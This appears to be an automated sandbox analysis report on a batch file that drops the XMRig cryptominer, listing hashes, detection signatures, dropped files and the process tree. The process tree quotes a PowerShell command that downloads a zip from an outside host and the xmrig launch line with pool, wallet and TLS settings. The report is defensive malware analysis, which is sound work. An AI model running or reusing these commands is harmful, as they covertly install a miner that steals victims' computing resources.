xmrig | 3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
157s
max time network
169s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
06-11-2023 23:24

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General

Target

tesy - Copy (12).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

xmrig miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

XMRig Miner payload 16 IoCs

miner

resource	yara_rule
behavioral6/files/0x0006000000022e22-42.dat	family_xmrig
behavioral6/files/0x0006000000022e22-42.dat	xmrig
behavioral6/memory/1660-45-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-48-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-51-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-52-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-53-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-54-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-55-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-56-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-57-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-58-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-59-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-60-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-61-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig
behavioral6/memory/1660-62-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	4104	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1660	xmrig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4104	powershell.exe
4104	powershell.exe
2780	powershell.exe
2780	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeLockMemoryPrivilege	1660	xmrig.exe
Token: SeLockMemoryPrivilege	1660	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1660	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3844 wrote to memory of 4104	3844	cmd.exe	86
PID 3844 wrote to memory of 4104	3844	cmd.exe	86
PID 3844 wrote to memory of 2780	3844	cmd.exe	89
PID 3844 wrote to memory of 2780	3844	cmd.exe	89
PID 3844 wrote to memory of 3652	3844	cmd.exe	96
PID 3844 wrote to memory of 3652	3844	cmd.exe	96
PID 3652 wrote to memory of 1660	3652	cmd.exe	98
PID 3652 wrote to memory of 1660	3652	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K start.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3652
- - C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
    xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1660

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wjzlwvha.rfm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\test1.zip

Filesize
3.2MB

MD5
95452958f42b1b93f0c887f59d84d19f

SHA1
c861dc457d57471ab42879f49cc8fe171e7c9b1c

SHA256
dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

SHA512
96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

Filesize
278B

MD5
080123b6eac4a332d3f2b11f6eb3aa54

SHA1
8f3d40eae881e3b871cff2aa85521d727ada2a64

SHA256
cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

SHA512
0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

Filesize
7.9MB

MD5
4813fa6d610e180b097eae0ce636d2aa

SHA1
1e9cd17ea32af1337dd9a664431c809dd8a64d76

SHA256
9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

SHA512
5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

Download Submit
memory/1660-44-0x0000019040340000-0x0000019040380000-memory.dmp

Filesize
256KB

Download
memory/1660-49-0x0000019040380000-0x00000190403A0000-memory.dmp

Filesize
128KB

Download
memory/1660-62-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-61-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-60-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-59-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-58-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-57-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-43-0x000001903EB50000-0x000001903EB70000-memory.dmp

Filesize
128KB

Download
memory/1660-56-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-55-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-45-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-46-0x0000019040380000-0x00000190403A0000-memory.dmp

Filesize
128KB

Download
memory/1660-47-0x00000190403A0000-0x00000190403C0000-memory.dmp

Filesize
128KB

Download
memory/1660-48-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-54-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-50-0x00000190403A0000-0x00000190403C0000-memory.dmp

Filesize
128KB

Download
memory/1660-51-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-52-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/1660-53-0x00007FF6D62E0000-0x00007FF6D6DE3000-memory.dmp

Filesize
11.0MB

Download
memory/2780-18-0x00000291B0A90000-0x00000291B0AA0000-memory.dmp

Filesize
64KB

Download
memory/2780-39-0x00007FFF4D660000-0x00007FFF4E121000-memory.dmp

Filesize
10.8MB

Download
memory/2780-30-0x00000291B09F0000-0x00000291B09FA000-memory.dmp

Filesize
40KB

Download
memory/2780-29-0x00000291B0A10000-0x00000291B0A22000-memory.dmp

Filesize
72KB

Download
memory/2780-17-0x00007FFF4D660000-0x00007FFF4E121000-memory.dmp

Filesize
10.8MB

Download
memory/4104-0-0x0000011EFD9F0000-0x0000011EFDA12000-memory.dmp

Filesize
136KB

Download
memory/4104-10-0x00007FFF4D660000-0x00007FFF4E121000-memory.dmp

Filesize
10.8MB

Download
memory/4104-11-0x0000011EFCDE0000-0x0000011EFCDF0000-memory.dmp

Filesize
64KB

Download
memory/4104-15-0x00007FFF4D660000-0x00007FFF4E121000-memory.dmp

Filesize
10.8MB

Download